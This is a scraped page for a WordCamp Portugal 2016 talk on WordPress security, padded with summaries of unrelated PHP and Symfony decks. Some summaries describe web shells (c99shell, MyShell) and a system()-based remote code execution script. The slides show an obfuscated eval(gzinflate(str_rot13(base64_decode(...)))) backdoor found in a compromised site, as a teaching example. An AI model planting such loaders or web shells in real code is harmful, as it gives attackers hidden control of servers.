Slides from my talk @ aWordCamp Portugal 2016 about hellodev's experience concerning self-hosted WordPress websites and all the security issues around it. Tips and other useful information inside.
Keep It Simple Security (Symfony cafe 28-01-2016)Oleg Zinchenko
This document contains code snippets related to implementing WSSE authentication in Symfony. It includes code for a WSSE token, listener, authentication manager/provider, and factory class. The token holds user details extracted from the HTTP header. The listener extracts credentials from the header and passes them to the manager. The manager authenticates by validating the credentials against the user provider. The factory registers these classes with the security component. The document also mentions voters and ACL as other Symfony security topics.
This PHP code connects to a MySQL database called "db_sambungan" on a localhost server with a username of "root" and empty password. It connects to the database and checks if the connection failed, printing an error message if so. Otherwise, it prints a message confirming the connection was successful.
This document contains a PHP script that connects to a database called "db_sambungan" and extracts student data including their ID, name, and phone number from a table called "tb_pelajar". It displays the extracted data in an HTML table with styling. The script connects to the database, selects the student data from the table, then outputs each student's record into a new table row.
This PHP script allows users to export data from a MySQL database table to a CSV file and import data from a CSV file into a MySQL database table. The script connects to a database, retrieves data from a specified table, and outputs it to a CSV file for export. For import, it accepts an uploaded CSV file, reads the data, and inserts rows into the database table. The code includes functions for database connection, selecting the table, retrieving and outputting column names and row data for export, and parsing, sanitizing, and inserting the CSV data for import.
This document demonstrates how to connect to a MySQL database and perform CRUD (create, read, update, delete) operations using PHP. It first creates a database and table. It then inserts a record, selects all records, updates a record, and deletes a record. Finally, it shows how to create a basic HTML form to collect user input and insert it into the database using PHP.
This code connects to a MySQL database called "test", selects all records from the "articles" table, and displays the title, date, info, and url fields from each record on the screen. It connects to the database, runs a SQL query to select all data from the articles table, and then loops through the results to output the field data from each record.
This document summarizes some key features of PHP frameworks like Silex:
1. Silex is a micro-framework for PHP that is built on the Pimple dependency injection container. It provides routing, controllers, and services out of the box.
2. Silex uses dependency injection and service providers to configure services like Twig, URL generation, sessions, and more. Services can then be accessed through the application container.
3. Testing in Silex uses the WebTestCase class to create test clients and make requests to test routes and responses. Assertions can validate crawler output and responses.
This document contains PHP code for a login form. It checks submitted username and password credentials against a database. If the credentials are valid and the user is an administrator, they are redirected to the admin panel. Otherwise, they are logged in as a guest and redirected to the guest panel. The form allows the user to enter their username and password, and submit to log in.
Keep It Simple Security (Symfony cafe 28-01-2016)Oleg Zinchenko
This document contains code snippets related to implementing WSSE authentication in Symfony. It includes code for a WSSE token, listener, authentication manager/provider, and factory class. The token holds user details extracted from the HTTP header. The listener extracts credentials from the header and passes them to the manager. The manager authenticates by validating the credentials against the user provider. The factory registers these classes with the security component. The document also mentions voters and ACL as other Symfony security topics.
This PHP code connects to a MySQL database called "db_sambungan" on a localhost server with a username of "root" and empty password. It connects to the database and checks if the connection failed, printing an error message if so. Otherwise, it prints a message confirming the connection was successful.
This document contains a PHP script that connects to a database called "db_sambungan" and extracts student data including their ID, name, and phone number from a table called "tb_pelajar". It displays the extracted data in an HTML table with styling. The script connects to the database, selects the student data from the table, then outputs each student's record into a new table row.
This PHP script allows users to export data from a MySQL database table to a CSV file and import data from a CSV file into a MySQL database table. The script connects to a database, retrieves data from a specified table, and outputs it to a CSV file for export. For import, it accepts an uploaded CSV file, reads the data, and inserts rows into the database table. The code includes functions for database connection, selecting the table, retrieving and outputting column names and row data for export, and parsing, sanitizing, and inserting the CSV data for import.
This document demonstrates how to connect to a MySQL database and perform CRUD (create, read, update, delete) operations using PHP. It first creates a database and table. It then inserts a record, selects all records, updates a record, and deletes a record. Finally, it shows how to create a basic HTML form to collect user input and insert it into the database using PHP.
This code connects to a MySQL database called "test", selects all records from the "articles" table, and displays the title, date, info, and url fields from each record on the screen. It connects to the database, runs a SQL query to select all data from the articles table, and then loops through the results to output the field data from each record.
This document summarizes some key features of PHP frameworks like Silex:
1. Silex is a micro-framework for PHP that is built on the Pimple dependency injection container. It provides routing, controllers, and services out of the box.
2. Silex uses dependency injection and service providers to configure services like Twig, URL generation, sessions, and more. Services can then be accessed through the application container.
3. Testing in Silex uses the WebTestCase class to create test clients and make requests to test routes and responses. Assertions can validate crawler output and responses.
This document contains PHP code for a login form. It checks submitted username and password credentials against a database. If the credentials are valid and the user is an administrator, they are redirected to the admin panel. Otherwise, they are logged in as a guest and redirected to the guest panel. The form allows the user to enter their username and password, and submit to log in.
Presentation held at London XQuery Meetup in September 2011. In general, it shows how Web Scraping has naturally evolved towards XQuery. Additionally, it discusses different obstacles in scraping websites. A live example is shown as proof of solving these problems using XQuery.
The document contains code for connecting to a MySQL database called "mahasiswa" located on the localhost server. It defines the host, username, password, and database, and establishes a connection using mysql_connect and mysql_select_db. There is also code that inserts received form data into a table in the database.
This PHP script allows remote code execution by taking user input and passing it directly to the system() function without validation. This poses a security risk as it enables attackers to execute arbitrary commands on the server. The script then echoes the output of the executed command, exposing system information or allowing other malicious actions.
Beginning web programming with PHP [PHP 101-02]Mozammel Haque
This document provides an introduction to PHP basics including:
- Using comments in PHP code
- Basic syntax like semicolons, variables, and data types
- Common operators for arithmetic, assignment, comparison, and logic
- How to define and call functions
Pemrograman Web 9 - Input Form DB dan SessionNur Fadli Utomo
The document shows code for creating a session in PHP by setting session variables, then accessing and displaying those variables on subsequent pages. It then shows code for destroying the session and clearing all session variables. Additional code implements a login system by querying a database to validate a username and password on login, then starting a session for the user and redirecting to their profile page. Logout functionality destroys the active session.
This document discusses migrating from Symfony 1 to Symfony 2. It covers key differences like Symfony 2's use of the Dependency Injection Container and lack of sfContext. It provides examples of implementing models, controllers and views in Symfony 2. Recommended bundles for common Symfony 1 features are also mentioned, along with caching and the HTTP layer.
Uploading image file to a folder using php and saving its location in mysql database. This code saves image file path in the database and displays it on a browser. What you need is a local server and a reliable web browser for this to work , Then follow all steps.
The document contains PHP code to connect to a MySQL database, create a database and table, insert sample data, and display the data in an HTML table. It establishes a database connection, checks for errors, creates a database called "test_db" and table called "toko", inserts a sample record, and then displays the table data on an HTML page by connecting to the database and looping through the records.
This script is used to install scripts from a development directory to a production directory. It handles backing up any existing production files, copying the development files over, and setting permissions on the files. It supports installing individual scripts passed as arguments or all scripts in the development directory. The script sets up configuration values from a config file and standard functions before iterating through files to install.
This document contains PHP code for a login system and category management. It includes PHP code to connect to a MySQL database, perform login authentication by querying the database, and manage categories by adding, updating, and deleting categories from the database. The code also includes the use of sessions to track the logged in user and restrict access to admin pages. HTML and CSS code is included to display the login page, category management page, and basic site layout.
This document describes a virtualized infrastructure design including:
- A virtualized solution using Linux Ubuntu with single role servers for firewall/routing, proxy, subnetting, and isolated VLANs.
- Apache, MySQL, and storage using SSHFS.
- Sample code for integrating Windows and Linux platforms using MSSQL, FTP, MySQL, and more.
- Network perimeter security with multiple control levels and access controls.
- A BASH script example to copy and rename log files between directories and servers.
This document provides an overview of common web application vulnerabilities such as SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), file inclusion, and PHP object injection. It explains how inputs should be sanitized to prevent these issues, including using functions like htmlspecialchars(), mysql_real_escape_string(), and regular expressions. Exploits for vulnerabilities in specific programs are also listed. The document aims to educate developers on security best practices for protecting against hackers.
This PHP script copies the contents of a remote URL and saves it to a local file. It opens the remote URL, loops through each line, writes it to the local file, then closes the file and prints a message.
The document creates a resource model with a person named John Smith. It defines the given name, family name, and full name as strings. It then creates a resource with the URI of John Smith and adds the full name and name properties to the resource, with the given and family names as values.
An introduction to jQuery. How to access elements, what you can then do with them, how to create elements, a bit of AJAX and some JSON. Given as a lecture in the fh ooe in Hagenberg, Austria in December 2011.
The document discusses PowerCMS, an open-source content management system. It provides code examples for common CMS tasks like template includes, conditionals, loops, and database operations. It also mentions PowerCMS X, the next version, and includes basic financial projections for PowerCMS Professional and Enterprise editions.
The document discusses the PowerCMS content management system and its templating features over multiple versions. It provides code examples of templating tags for variables, loops, and conditional logic across different versions of PowerCMS and other CMS platforms. It also references plans to release new editions of PowerCMS Professional and Enterprise in future quarters and years.
Los ángulos inscritos en una circunferencia son aquellos cuyos vértices están en la circunferencia y cuyos lados pasan por el centro de la circunferencia. Los ángulos inscritos suman 360° ya que la circunferencia es una curva cerrada, por lo que la suma de los ángulos internos de cualquier figura formada por los lados de los ángulos inscritos es igual a dos ángulos rectos.
Abdul Akbar is an IT administrator with over 10 years of experience, including 4.5 years in Qatar. He has expertise installing, configuring, and troubleshooting desktops, laptops, and computer networks using Windows, Mac, and Linux. He is also experienced with network devices such as routers and switches. His career history includes roles as a Service Manager, System Engineer, and System Administrator. He holds a diploma in Computer Hardware and Maintenance and is Cisco CCNA certified.
Presentation held at London XQuery Meetup in September 2011. In general, it shows how Web Scraping has naturally evolved towards XQuery. Additionally, it discusses different obstacles in scraping websites. A live example is shown as proof of solving these problems using XQuery.
The document contains code for connecting to a MySQL database called "mahasiswa" located on the localhost server. It defines the host, username, password, and database, and establishes a connection using mysql_connect and mysql_select_db. There is also code that inserts received form data into a table in the database.
This PHP script allows remote code execution by taking user input and passing it directly to the system() function without validation. This poses a security risk as it enables attackers to execute arbitrary commands on the server. The script then echoes the output of the executed command, exposing system information or allowing other malicious actions.
Beginning web programming with PHP [PHP 101-02]Mozammel Haque
This document provides an introduction to PHP basics including:
- Using comments in PHP code
- Basic syntax like semicolons, variables, and data types
- Common operators for arithmetic, assignment, comparison, and logic
- How to define and call functions
Pemrograman Web 9 - Input Form DB dan SessionNur Fadli Utomo
The document shows code for creating a session in PHP by setting session variables, then accessing and displaying those variables on subsequent pages. It then shows code for destroying the session and clearing all session variables. Additional code implements a login system by querying a database to validate a username and password on login, then starting a session for the user and redirecting to their profile page. Logout functionality destroys the active session.
This document discusses migrating from Symfony 1 to Symfony 2. It covers key differences like Symfony 2's use of the Dependency Injection Container and lack of sfContext. It provides examples of implementing models, controllers and views in Symfony 2. Recommended bundles for common Symfony 1 features are also mentioned, along with caching and the HTTP layer.
Uploading image file to a folder using php and saving its location in mysql database. This code saves image file path in the database and displays it on a browser. What you need is a local server and a reliable web browser for this to work , Then follow all steps.
The document contains PHP code to connect to a MySQL database, create a database and table, insert sample data, and display the data in an HTML table. It establishes a database connection, checks for errors, creates a database called "test_db" and table called "toko", inserts a sample record, and then displays the table data on an HTML page by connecting to the database and looping through the records.
This script is used to install scripts from a development directory to a production directory. It handles backing up any existing production files, copying the development files over, and setting permissions on the files. It supports installing individual scripts passed as arguments or all scripts in the development directory. The script sets up configuration values from a config file and standard functions before iterating through files to install.
This document contains PHP code for a login system and category management. It includes PHP code to connect to a MySQL database, perform login authentication by querying the database, and manage categories by adding, updating, and deleting categories from the database. The code also includes the use of sessions to track the logged in user and restrict access to admin pages. HTML and CSS code is included to display the login page, category management page, and basic site layout.
This document describes a virtualized infrastructure design including:
- A virtualized solution using Linux Ubuntu with single role servers for firewall/routing, proxy, subnetting, and isolated VLANs.
- Apache, MySQL, and storage using SSHFS.
- Sample code for integrating Windows and Linux platforms using MSSQL, FTP, MySQL, and more.
- Network perimeter security with multiple control levels and access controls.
- A BASH script example to copy and rename log files between directories and servers.
This document provides an overview of common web application vulnerabilities such as SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), file inclusion, and PHP object injection. It explains how inputs should be sanitized to prevent these issues, including using functions like htmlspecialchars(), mysql_real_escape_string(), and regular expressions. Exploits for vulnerabilities in specific programs are also listed. The document aims to educate developers on security best practices for protecting against hackers.
This PHP script copies the contents of a remote URL and saves it to a local file. It opens the remote URL, loops through each line, writes it to the local file, then closes the file and prints a message.
The document creates a resource model with a person named John Smith. It defines the given name, family name, and full name as strings. It then creates a resource with the URI of John Smith and adds the full name and name properties to the resource, with the given and family names as values.
An introduction to jQuery. How to access elements, what you can then do with them, how to create elements, a bit of AJAX and some JSON. Given as a lecture in the fh ooe in Hagenberg, Austria in December 2011.
The document discusses PowerCMS, an open-source content management system. It provides code examples for common CMS tasks like template includes, conditionals, loops, and database operations. It also mentions PowerCMS X, the next version, and includes basic financial projections for PowerCMS Professional and Enterprise editions.
The document discusses the PowerCMS content management system and its templating features over multiple versions. It provides code examples of templating tags for variables, loops, and conditional logic across different versions of PowerCMS and other CMS platforms. It also references plans to release new editions of PowerCMS Professional and Enterprise in future quarters and years.
Los ángulos inscritos en una circunferencia son aquellos cuyos vértices están en la circunferencia y cuyos lados pasan por el centro de la circunferencia. Los ángulos inscritos suman 360° ya que la circunferencia es una curva cerrada, por lo que la suma de los ángulos internos de cualquier figura formada por los lados de los ángulos inscritos es igual a dos ángulos rectos.
Abdul Akbar is an IT administrator with over 10 years of experience, including 4.5 years in Qatar. He has expertise installing, configuring, and troubleshooting desktops, laptops, and computer networks using Windows, Mac, and Linux. He is also experienced with network devices such as routers and switches. His career history includes roles as a Service Manager, System Engineer, and System Administrator. He holds a diploma in Computer Hardware and Maintenance and is Cisco CCNA certified.
Los ángulos inscritos en una circunferencia son aquellos cuyos vértices están en la circunferencia y cuyos lados pasan por el centro. Los ángulos inscritos suman 360° ya que la circunferencia es una curva cerrada.
Este documento explica el Teorema de Wilson y el Pequeño Teorema de Fermat, que son fundamentales en la teoría de números y la divisibilidad de enteros. El Teorema de Wilson establece que si p es primo, entonces (p-1)! es congruente a -1 módulo p. El Pequeño Teorema de Fermat establece que si p es primo y a es un entero positivo menor que p, entonces a elevado a la potencia (p-1) es congruente a 1 módulo p. El documento incluye p
Este documento presenta las secciones de un portal de geometría, incluyendo bienvenida, menú, datos curriculares, contenido con presentaciones sobre ángulos en una circunferencia, actividades de ejercicios, evaluaciones en EDUCAPLAY, y contacto con información sobre los creadores.
У грі були сформовані експертною групою викладачів (кририти) набір критеріїв для побудови лідерського профілю студента та викладача. Студент/викладач 2016 - це, те, що зараз бачать критики, а у 2030 - те, чого досягнуть вони в майбутньому, на основі того, що є зараз.
Vijay Thakare is seeking a position as a technical lead utilizing his 7+ years of experience in software development. He has experience developing applications using technologies like ASP.NET, C#, SQL Server, and SharePoint. Some of the projects he has worked on include BMW COFIS as a tech lead, ZenIS for RPG, and Sepaton for Sepaton UK. He is looking for an innovative and challenging role that allows for professional growth.
Este documento introduce el Teorema de Wilson y el Pequeño Teorema de Fermat, que son importantes en la teoría de números y la divisibilidad de enteros. El Teorema de Wilson establece que si p es primo, entonces (p-1)! es congruente a -1 módulo p. El Pequeño Teorema de Fermat establece que si p es primo y a es un entero positivo menor que p, entonces a elevado a la potencia (p-1) es congruente a 1 módulo p. El documento incluye prue
Stella Maris Secondary School students attended class for one week at Caritas Secondary School, an all girls' school managed by Sisters of Charity with 500 students. Stella Maris' 4th year students attended Grade 10 classes and 5th years attended Grade 11. The richest people in the world own more wealth than the poorest half of humanity, and over 800 million people worldwide are hungry. Makalulu is the 2nd largest shanty town in Africa with 50,000 people and only 6 water pumps. Kara Counselling Hospice, founded by an Irish woman, offers HIV/AIDS testing, counseling, medication and care for those near the end of the disease. It also trains local women and runs
Este documento presenta información sobre métodos de levantamiento artificial y análisis nodal para la optimización de la producción de hidrocarburos. Explica los métodos de levantamiento artificial por gas, bombeo mecánico, bombeo electrosumergible y bombeo de cavidad progresiva. Describe los componentes, ventajas, desventajas y parámetros de diseño de cada método. El objetivo final es optimizar la producción mediante la selección adecuada del método de levantamiento artificial según las características de cada yac
Building scalable applications with hazelcastFuad Malikov
Hazelcast is popular open source In-Memory Data Grid that is extremely easy to use. This talk will get you familiar with this technology and will give you the essential skills to start using Hazelcast to build scalable and highly available applications. We’ll talk about in-memory computing and scalability. You will learn about the internals of Hazelcast and distributed data structures to power your application. The session will have a live demo.
We'll try to cover as much ground as time permits and get you familiar with the concepts that differentiate this technology from other NoSQL and IMDG solutions. You’ll walk from this session with a unique toolset to tackle hard and challenging distributed system problems.
This document describes MyShell, an interactive PHP script that allows execution of commands on a server. It includes configuration options like authentication, allowed directories, error handling and output formatting. The script generates an HTML interface with a text area to view command output. Users can navigate directories, enter commands and view results within permissions set by the administrator.
The document describes a malware attack that occurred on Christmas Eve targeting a website. The plugins and themes on the site were running properly until malicious files called KAK and FilesMan were detected in the server logs. These files led users to be redirected to an exploited site. The document suggests the malware compromised the WordPress and Joomla content management systems installed on the site.
The document contains PHP code for a website that displays and searches product information from a database. It includes:
1. Code to connect to a MySQL database and select the "banhang" database.
2. Index code that includes header, sidebar, content, and footer files. Content displays products and handles search/detail page links.
3. Product display code that queries the database and loops through results to show images, prices and links.
4. Category, search, and detail inclusion files that query the database to populate dropdowns, search results, and detailed product pages.
Mojolicious is a full-stack web framework and HTTP client for Perl that provides an object-oriented API without hidden magic or dependencies. It includes features like asynchronous I/O, routing, plugins, sessions, templating, internationalization support, and JSON/XML handling. Mojolicious comes in three flavors: Mojolicious::Lite for simple apps, Mojolicious for full MVC apps, and Mojo as a lightweight base framework. It supports technologies like CGI, FastCGI, PSGI, HTTP 1.1, and WebSockets.
PHP SA 2014 - Releasing Your Open Source Projectxsist10
The document provides guidance on releasing open source projects. It discusses security, hosting, managing source code, package management, design patterns, testing, and resources. The key recommendations are to focus on security, use GitHub for hosting, manage versions with SemVer, use Composer for dependencies, implement common design patterns, write unit tests with at least 80% coverage, and wrap resources to allow for mocking in tests.
This document provides instructions for installing and configuring a LAMP stack on Mac OS X including MySQL, Apache, PHP and WordPress. It describes downloading and installing each component, configuring passwords, file permissions and settings. Specific steps include installing MySQL from the developer website, setting the root password, copying configuration files, enabling PHP support in Apache, configuring PHP.ini settings and installing WordPress in the Apache document root.
PHP is an open source scripting language used to build server-side web applications. PHP code is embedded within HTML files and executed on the server to generate dynamic web page content. PHP can connect to databases, collect form data, and perform many other common web development tasks. It is a free and popular language due to its flexibility, power, and ease of use.
Micropage in microtime using microframeworkRadek Benkel
The document provides examples of using the Slim microframework to build RESTful APIs and web applications. It demonstrates basic routing, parameters, named routes, conditions, middleware, views, HTTP caching, flash messages, custom error pages, and RESTful routing. It also discusses using Slim with PHP 5.2 by passing a function name as a string to the route methods instead of using anonymous functions which require PHP 5.3 or later.
This document discusses securing PHP applications. It covers best practices for securing input data, preventing vulnerabilities like SQL injection and cross-site scripting (XSS), and properly validating all user input. It also provides recommendations for secure file permissions, error handling, and hiding sensitive configuration details.
This document discusses Nette, a popular PHP framework for web development. It provides an overview of key Nette features like the RobotLoader, forms, templating with Latte, dependency injection, routing, AJAX, debugging and error handling, and the database layer. The document also mentions that components and controls allow for reusable code, signals, and flash messages.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems. I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest (=attack) painful, or just rendered the scenarios irrelevant.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems.
I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest
(=attack) painful, or just rendered the scenarios irrelevant.
The document discusses common web application vulnerabilities like SQL injection, cross-site scripting (XSS), file inclusion, and remote code execution. It provides examples of each vulnerability type and how they can be exploited. Methods for detecting and preventing these vulnerabilities are also covered, including input validation, output encoding, limiting dangerous functions, and using tools like RIPS scanner to detect vulnerabilities.
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Arc & Codementor
The document discusses modern PHP features such as exceptions, namespaces, closures, statics, short array syntax, PDO, security improvements, and popular PHP tools. It provides examples of how to use exceptions, closures, namespaces, statics, short array syntax, PDO, and security features. It also introduces the built-in PHP web server, Composer package manager, and PHPUnit testing framework as useful modern PHP tools.
This document contains information about c99shell.php, a PHP-based file manager tool intended for hacking. It lists features like managing local and remote files/folders, an advanced SQL manager, executing shell commands and PHP code, and self-removal. The document provides configuration options, registered file types, command aliases, and notes on expected future changes.
Web application security is an important topic gaining more attention. Sensitive data needs protection not only on servers but also when traveling over networks. Common web application vulnerabilities include cross-site scripting, SQL injection, and cross-site request forgery. Developers should implement measures like encryption, limiting file access and uploads, hiding errors, and using secure sessions to authenticate users. Security requires ongoing consideration to prevent network attacks, unauthorized access, and data theft.
In this presentation I cover how to keep your code from having security vulnerabilities. This talk was given at the OC WordPress Developer Meetup in January 2017.
The document contains code snippets in PHP for working with categories and menus in Magento. It includes code to get store categories, loop through them to output the names and IDs, and generate URLs to link to the category pages. There are also code comments related to copyright and licensing for Magento.
The document provides an introduction to PHP including PHP tags, comments, data types, variables, control structures, functions and more. It explains that PHP code is placed between <?php ?> tags and describes the different tags like <?php ?> for PHP code, <!-- --> for HTML comments. It also summarizes key PHP concepts like variables, arrays, strings, operators, if/else statements, loops, functions and built-in PHP functions.
Asynchronous PHP and Real-time MessagingSteve Rhoades
The document discusses asynchronous programming in PHP using non-blocking I/O and event loops. It covers using asynchronous techniques like ReactPHP to scrape web pages concurrently without blocking. Promises and streams are also discussed as ways to handle asynchronous operations and pass data between components. Finally, messaging techniques like websockets and WAMP are presented as ways to build real-time applications.
Similar to Security and Mobility - WordCamp Porto 2016 (20)
Programming Foundation Models with DSPy - Meetup SlidesZilliz
Prompting language models is hard, while programming language models is easy. In this talk, I will discuss the state-of-the-art framework DSPy for programming foundation models with its powerful optimizers and runtime constraint system.
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...Tatiana Kojar
Skybuffer AI, built on the robust SAP Business Technology Platform (SAP BTP), is the latest and most advanced version of our AI development, reaffirming our commitment to delivering top-tier AI solutions. Skybuffer AI harnesses all the innovative capabilities of the SAP BTP in the AI domain, from Conversational AI to cutting-edge Generative AI and Retrieval-Augmented Generation (RAG). It also helps SAP customers safeguard their investments into SAP Conversational AI and ensure a seamless, one-click transition to SAP Business AI.
With Skybuffer AI, various AI models can be integrated into a single communication channel such as Microsoft Teams. This integration empowers business users with insights drawn from SAP backend systems, enterprise documents, and the expansive knowledge of Generative AI. And the best part of it is that it is all managed through our intuitive no-code Action Server interface, requiring no extensive coding knowledge and making the advanced AI accessible to more users.
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...alexjohnson7307
Predictive maintenance is a proactive approach that anticipates equipment failures before they happen. At the forefront of this innovative strategy is Artificial Intelligence (AI), which brings unprecedented precision and efficiency. AI in predictive maintenance is transforming industries by reducing downtime, minimizing costs, and enhancing productivity.
Introduction of Cybersecurity with OSS at Code Europe 2024Hiroshi SHIBATA
I develop the Ruby programming language, RubyGems, and Bundler, which are package managers for Ruby. Today, I will introduce how to enhance the security of your application using open-source software (OSS) examples from Ruby and RubyGems.
The first topic is CVE (Common Vulnerabilities and Exposures). I have published CVEs many times. But what exactly is a CVE? I'll provide a basic understanding of CVEs and explain how to detect and handle vulnerabilities in OSS.
Next, let's discuss package managers. Package managers play a critical role in the OSS ecosystem. I'll explain how to manage library dependencies in your application.
I'll share insights into how the Ruby and RubyGems core team works to keep our ecosystem safe. By the end of this talk, you'll have a better understanding of how to safeguard your code.
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxSitimaJohn
Ocean Lotus cyber threat actors represent a sophisticated, persistent, and politically motivated group that poses a significant risk to organizations and individuals in the Southeast Asian region. Their continuous evolution and adaptability underscore the need for robust cybersecurity measures and international cooperation to identify and mitigate the threats posed by such advanced persistent threat groups.
Generating privacy-protected synthetic data using Secludy and MilvusZilliz
During this demo, the founders of Secludy will demonstrate how their system utilizes Milvus to store and manipulate embeddings for generating privacy-protected synthetic data. Their approach not only maintains the confidentiality of the original data but also enhances the utility and scalability of LLMs under privacy constraints. Attendees, including machine learning engineers, data scientists, and data managers, will witness first-hand how Secludy's integration with Milvus empowers organizations to harness the power of LLMs securely and efficiently.
Ivanti’s Patch Tuesday breakdown goes beyond patching your applications and brings you the intelligence and guidance needed to prioritize where to focus your attention first. Catch early analysis on our Ivanti blog, then join industry expert Chris Goettl for the Patch Tuesday Webinar Event. There we’ll do a deep dive into each of the bulletins and give guidance on the risks associated with the newly-identified vulnerabilities.
Fueling AI with Great Data with Airbyte WebinarZilliz
This talk will focus on how to collect data from a variety of sources, leveraging this data for RAG and other GenAI use cases, and finally charting your course to productionalization.
Have you ever been confused by the myriad of choices offered by AWS for hosting a website or an API?
Lambda, Elastic Beanstalk, Lightsail, Amplify, S3 (and more!) can each host websites + APIs. But which one should we choose?
Which one is cheapest? Which one is fastest? Which one will scale to meet our needs?
Join me in this session as we dive into each AWS hosting service to determine which one is best for your scenario and explain why!
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUpanagenda
Webinar Recording: https://www.panagenda.com/webinars/hcl-notes-und-domino-lizenzkostenreduzierung-in-der-welt-von-dlau/
DLAU und die Lizenzen nach dem CCB- und CCX-Modell sind für viele in der HCL-Community seit letztem Jahr ein heißes Thema. Als Notes- oder Domino-Kunde haben Sie vielleicht mit unerwartet hohen Benutzerzahlen und Lizenzgebühren zu kämpfen. Sie fragen sich vielleicht, wie diese neue Art der Lizenzierung funktioniert und welchen Nutzen sie Ihnen bringt. Vor allem wollen Sie sicherlich Ihr Budget einhalten und Kosten sparen, wo immer möglich. Das verstehen wir und wir möchten Ihnen dabei helfen!
Wir erklären Ihnen, wie Sie häufige Konfigurationsprobleme lösen können, die dazu führen können, dass mehr Benutzer gezählt werden als nötig, und wie Sie überflüssige oder ungenutzte Konten identifizieren und entfernen können, um Geld zu sparen. Es gibt auch einige Ansätze, die zu unnötigen Ausgaben führen können, z. B. wenn ein Personendokument anstelle eines Mail-Ins für geteilte Mailboxen verwendet wird. Wir zeigen Ihnen solche Fälle und deren Lösungen. Und natürlich erklären wir Ihnen das neue Lizenzmodell.
Nehmen Sie an diesem Webinar teil, bei dem HCL-Ambassador Marc Thomas und Gastredner Franz Walder Ihnen diese neue Welt näherbringen. Es vermittelt Ihnen die Tools und das Know-how, um den Überblick zu bewahren. Sie werden in der Lage sein, Ihre Kosten durch eine optimierte Domino-Konfiguration zu reduzieren und auch in Zukunft gering zu halten.
Diese Themen werden behandelt
- Reduzierung der Lizenzkosten durch Auffinden und Beheben von Fehlkonfigurationen und überflüssigen Konten
- Wie funktionieren CCB- und CCX-Lizenzen wirklich?
- Verstehen des DLAU-Tools und wie man es am besten nutzt
- Tipps für häufige Problembereiche, wie z. B. Team-Postfächer, Funktions-/Testbenutzer usw.
- Praxisbeispiele und Best Practices zum sofortigen Umsetzen
Building Production Ready Search Pipelines with Spark and MilvusZilliz
Spark is the widely used ETL tool for processing, indexing and ingesting data to serving stack for search. Milvus is the production-ready open-source vector database. In this talk we will show how to use Spark to process unstructured data to extract vector representations, and push the vectors to Milvus vector database for search serving.
Monitoring and Managing Anomaly Detection on OpenShift.pdfTosin Akinosho
Monitoring and Managing Anomaly Detection on OpenShift
Overview
Dive into the world of anomaly detection on edge devices with our comprehensive hands-on tutorial. This SlideShare presentation will guide you through the entire process, from data collection and model training to edge deployment and real-time monitoring. Perfect for those looking to implement robust anomaly detection systems on resource-constrained IoT/edge devices.
Key Topics Covered
1. Introduction to Anomaly Detection
- Understand the fundamentals of anomaly detection and its importance in identifying unusual behavior or failures in systems.
2. Understanding Edge (IoT)
- Learn about edge computing and IoT, and how they enable real-time data processing and decision-making at the source.
3. What is ArgoCD?
- Discover ArgoCD, a declarative, GitOps continuous delivery tool for Kubernetes, and its role in deploying applications on edge devices.
4. Deployment Using ArgoCD for Edge Devices
- Step-by-step guide on deploying anomaly detection models on edge devices using ArgoCD.
5. Introduction to Apache Kafka and S3
- Explore Apache Kafka for real-time data streaming and Amazon S3 for scalable storage solutions.
6. Viewing Kafka Messages in the Data Lake
- Learn how to view and analyze Kafka messages stored in a data lake for better insights.
7. What is Prometheus?
- Get to know Prometheus, an open-source monitoring and alerting toolkit, and its application in monitoring edge devices.
8. Monitoring Application Metrics with Prometheus
- Detailed instructions on setting up Prometheus to monitor the performance and health of your anomaly detection system.
9. What is Camel K?
- Introduction to Camel K, a lightweight integration framework built on Apache Camel, designed for Kubernetes.
10. Configuring Camel K Integrations for Data Pipelines
- Learn how to configure Camel K for seamless data pipeline integrations in your anomaly detection workflow.
11. What is a Jupyter Notebook?
- Overview of Jupyter Notebooks, an open-source web application for creating and sharing documents with live code, equations, visualizations, and narrative text.
12. Jupyter Notebooks with Code Examples
- Hands-on examples and code snippets in Jupyter Notebooks to help you implement and test anomaly detection models.
TrustArc Webinar - 2024 Global Privacy SurveyTrustArc
How does your privacy program stack up against your peers? What challenges are privacy teams tackling and prioritizing in 2024?
In the fifth annual Global Privacy Benchmarks Survey, we asked over 1,800 global privacy professionals and business executives to share their perspectives on the current state of privacy inside and outside of their organizations. This year’s report focused on emerging areas of importance for privacy and compliance professionals, including considerations and implications of Artificial Intelligence (AI) technologies, building brand trust, and different approaches for achieving higher privacy competence scores.
See how organizational priorities and strategic approaches to data security and privacy are evolving around the globe.
This webinar will review:
- The top 10 privacy insights from the fifth annual Global Privacy Benchmarks Survey
- The top challenges for privacy leaders, practitioners, and organizations in 2024
- Key themes to consider in developing and maintaining your privacy program
8. /* Primeiros contactos com sites
comprometidos */
<?php
// Silence is golden.
$x =“NFbkn
veorgASDgaskdhfkashdfpwehibvasipdhvaipegaiweHFAPEIgaPIyeiaaipwehgwEG
$34h293gHW)EHG(QHgQ(WEGH#$)GhQªGH)EHGQ3223nfk2n3f23nçkfn2ç34”;
$r=eval(gzinflate(str_rot13(base64_decode($x))));
9.
10. /* Como uma instalação de
WordPress pode ser
comprometida */
